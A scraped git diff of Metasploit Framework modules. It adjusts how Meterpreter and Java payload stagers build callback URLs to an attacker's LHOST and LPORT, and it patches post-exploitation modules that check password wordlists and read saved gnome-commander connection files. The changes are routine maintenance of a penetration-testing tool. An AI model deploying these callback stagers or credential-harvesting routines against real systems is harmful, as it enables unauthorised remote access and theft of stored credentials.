opts[:uri_uuid_mode] = :init_connect
|
||||
met = stage_meterpreter({
|
||||
http_url: generate_callback_url(opts),
|
||||
http_url: generate_callback_url(opts),
|
||||
http_user_agent: opts[:user_agent],
|
||||
http_proxy_host: opts[:proxy_host],
|
||||
http_proxy_port: opts[:proxy_port]
|
||||
|
|
|
@ -36,7 +36,7 @@ module MetasploitModule
|
|||
opts[:scheme] = 'https'
|
||||
opts[:uri_uuid_mode] = :init_connect
|
||||
met = stage_meterpreter({
|
||||
http_url: generate_callback_url(opts),
|
||||
http_url: generate_callback_url(opts),
|
||||
http_user_agent: opts[:user_agent],
|
||||
http_proxy_host: opts[:proxy_host],
|
||||
http_proxy_port: opts[:proxy_port]
|
||||
|
|
|
@ -30,13 +30,13 @@ module MetasploitModule
|
|||
|
||||
def generate_jar(opts={})
|
||||
# Default URL length is 30-256 bytes
|
||||
uri_req_len = 30 + rand(256-30)
|
||||
uri_req_len = 30 + luri.length + rand(256 - (30 + luri.length))
|
||||
# Generate the short default URL if we don't know available space
|
||||
if self.available_space.nil?
|
||||
uri_req_len = 5
|
||||
end
|
||||
|
||||
url = "http://#{datastore["LHOST"]}:#{datastore["LPORT"]}/"
|
||||
url = "http://#{datastore["LHOST"]}:#{datastore["LPORT"]}#{luri}"
|
||||
# TODO: perhaps wire in an existing UUID from opts?
|
||||
url << generate_uri_uuid_mode(:init_java, uri_req_len)
|
||||
|
||||
|
|
|
@ -36,7 +36,7 @@ module MetasploitModule
|
|||
uri_req_len = 5
|
||||
end
|
||||
|
||||
url = "https://#{datastore["LHOST"]}:#{datastore["LPORT"]}/"
|
||||
url = "https://#{datastore["LHOST"]}:#{datastore["LPORT"]}#{luri}"
|
||||
# TODO: perhaps wire in an existing UUID from opts?
|
||||
url << generate_uri_uuid_mode(:init_java, uri_req_len)
|
||||
|
||||
|
|
|
@ -41,7 +41,7 @@ module MetasploitModule
|
|||
|
||||
def config
|
||||
# Default URL length is 30-256 bytes
|
||||
uri_req_len = 30 + rand(256-30)
|
||||
uri_req_len = 30 + luri.length + rand(256 - (30 + luri.length))
|
||||
|
||||
# Generate the short default URL if we don't know available space
|
||||
if self.available_space.nil?
|
||||
|
@ -53,8 +53,8 @@ module MetasploitModule
|
|||
c << "Spawn=#{spawn}\n"
|
||||
c << "URL=http://#{datastore["LHOST"]}"
|
||||
c << ":#{datastore["LPORT"]}" if datastore["LPORT"]
|
||||
c << "/"
|
||||
c << generate_uri_checksum(Rex::Payloads::Meterpreter::UriChecksum::URI_CHECKSUM_INITJ, uri_req_len)
|
||||
c << "#{luri}"
|
||||
c << generate_uri_uuid_mode(:init_java, uri_req_len)
|
||||
c << "\n"
|
||||
|
||||
c
|
||||
|
|
|
@ -57,6 +57,7 @@ module MetasploitModule
|
|||
c << "Spawn=#{spawn}\n"
|
||||
c << "URL=https://#{datastore["LHOST"]}"
|
||||
c << ":#{datastore["LPORT"]}" if datastore["LPORT"]
|
||||
c << "#{luri}"
|
||||
c << generate_uri_uuid_mode(:init_java, uri_req_len)
|
||||
c << "\n"
|
||||
|
||||
|
|
|
@ -116,7 +116,7 @@ class MetasploitModule < Msf::Post
|
|||
end
|
||||
else
|
||||
if pass_file
|
||||
if not ::File.exists?(pass_file)
|
||||
if not ::File.exist?(pass_file)
|
||||
print_error("Wordlist File #{pass_file} does not exists!")
|
||||
return
|
||||
end
|
||||
|
|
|
@ -43,7 +43,7 @@ class MetasploitModule < Msf::Post
|
|||
# gnome-commander connections file
|
||||
connections_file = "#{dir}/.gnome-commander/connections"
|
||||
if file?(connections_file)
|
||||
#File exists
|
||||
#File.exist
|
||||
begin
|
||||
str_file=read_file(connections_file)
|
||||
print_good("File found: #{connections_file}")
|
||||
|
|
Some files were not shown because too many files have changed in this diff Show More
Loading…
Reference in New Issue